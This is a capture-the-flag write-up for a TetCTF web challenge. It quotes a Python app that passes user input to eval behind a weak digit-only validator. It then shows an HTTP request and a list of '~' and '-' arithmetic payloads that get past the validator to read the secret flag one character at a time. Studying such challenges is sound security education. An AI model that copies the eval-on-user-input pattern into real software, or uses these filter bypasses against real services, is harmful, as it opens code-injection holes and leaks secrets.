Tags: web 

Rating: 5.0

Some source code of the application:
```
FL4G = os.environ.get('secret_flag')
[...]
def botValidator(s):
# Number only!
for c in s:
if (57 < ord(c) < 123):
return False
# The number should only within length of greeting list.
n = "".join(x for x in re.findall(r'\d+', s))
if n.isnumeric():
ev = "max("
for gl in NewYearCategoryList:
ev += "len(%s)," % gl
l = eval(ev[:-1]+")")
if int(n) > (l-1):
return False
return True
[...]
debug = request.args.get("debug")
if request.method == 'POST':
greetType = request.form["type"]
greetNumber = request.form["number"]
[...]
greetNumber = re.sub(r'\s+', '', greetNumber)
if greetType.isidentifier() == True and botValidator(greetNumber) == True:
if len("%s[%s]" % (greetType, greetNumber)) > 20:
greeting = fail
else:
greeting = eval("%s[%s]" % (greetType, greetNumber))
try:
if greeting != fail and debug != None:
greeting += "
You're choosing %s, it has %s quotes"%(greetType, len(eval(greetType)))
```

For the type parameter we can use FL4G and for the number parameter we can start with 0. We can also add the debug get parameter:

```
POST /?debug=a HTTP/1.1
Host: 172.105.120.180:9999
Content-Type: application/x-www-form-urlencoded
[...]

type=FL4G&number=0
```

Server responds with the eval("FL4G[0]") that you see on line greeting = eval("%s[%s]" % (greetType, greetNumber)):
```
[...]T
You're choosing FL4G, it has 24 quotes</div>
```

This way we got the T character from the flag and we know it as a length of 24 chars.

One of the restrictions we have is `len("%s[%s]" % (greetType, greetNumber)) > 20`, this means that if we are doing something like this FL4G[number], the number only can contain 14 characters, 4 is to pass the FL4G and two are the [] the server adds.

To bypass the botValidator function first we have to understand what are the restrictions imposed by the validation, (57 < ord(c) < 123) means that we can only use characters outside of this range, we can check which ones on the ascii table for example as I showed. Then they are joining all of the digits (0-9) that we send in the number parameter and checking if that number (for example the string "1abc2" would produce the number 12) is bigger than 5. Why 5? They are doing the following `max(len(NewYearCommonList),len(NewYearHealthList),len(NewYearFamilyList),len(NewYearWealthList))` which produces the number 6 (this can be tested using the python interpreter) and then they are comparing both like this int(n) > (l-1) , so in this example of "1abc2" -> 12 would produce int("12") > (6-1) , which would result in 12 > 5.

Now that we know that we can only pass certain characters and that we can only pass a number not bigger than 5 we can start thinking, ok, 05 passes the validation, 00005 also passes the validation. We can use 0's at the left then one number not bigger than 5 at the end to pass the validation. After this we have to find a way to create numbers bigger than 5 to get the rest of the flag characters, at this point I thought "which math python operators can I use to achieve this?" I tried a couple from here [https://www.w3schools.com/python/python_operators.asp](https://www.w3schools.com/python/python_operators.asp) and I noticed that ~0 would produce -1. Then given that the ~ and - characters are allowed I was able to produce the following payloads to send in the number parameter and get the rest of the flag chars:

```
-~0-~4 -> 6
-~0-~5 -> 7
-~0-~0-~5 -> 8
-~0-~0-~0-~5 -> 9
(-~0-~0)*5 -> 10
~0-(-~0-~0)*~5 -> 11
(-~0-~0-~0)*4 -> 12
~0-(-~0-~0)*5 -> -11
(-~0-~0)*~4 -> -10
~(-~0-~0)*3 -> -9
(-~0-~0)*~3 -> -8
~0--~5 -> -7
~5 -> -6
~4 -> -5
~3 -> -4
~2 -> -3
~1 -> -2
~0 -> -1
```

[https://www.w3schools.com/python/python_operators.asp](https://www.w3schools.com/python/python_operators.asp)
~ NOT Inverts all the bits

`TetCTF{JuSt_FFrFunn(^_^}`

Original writeup (https://youtu.be/zGakJ1aPf6Y?t=0).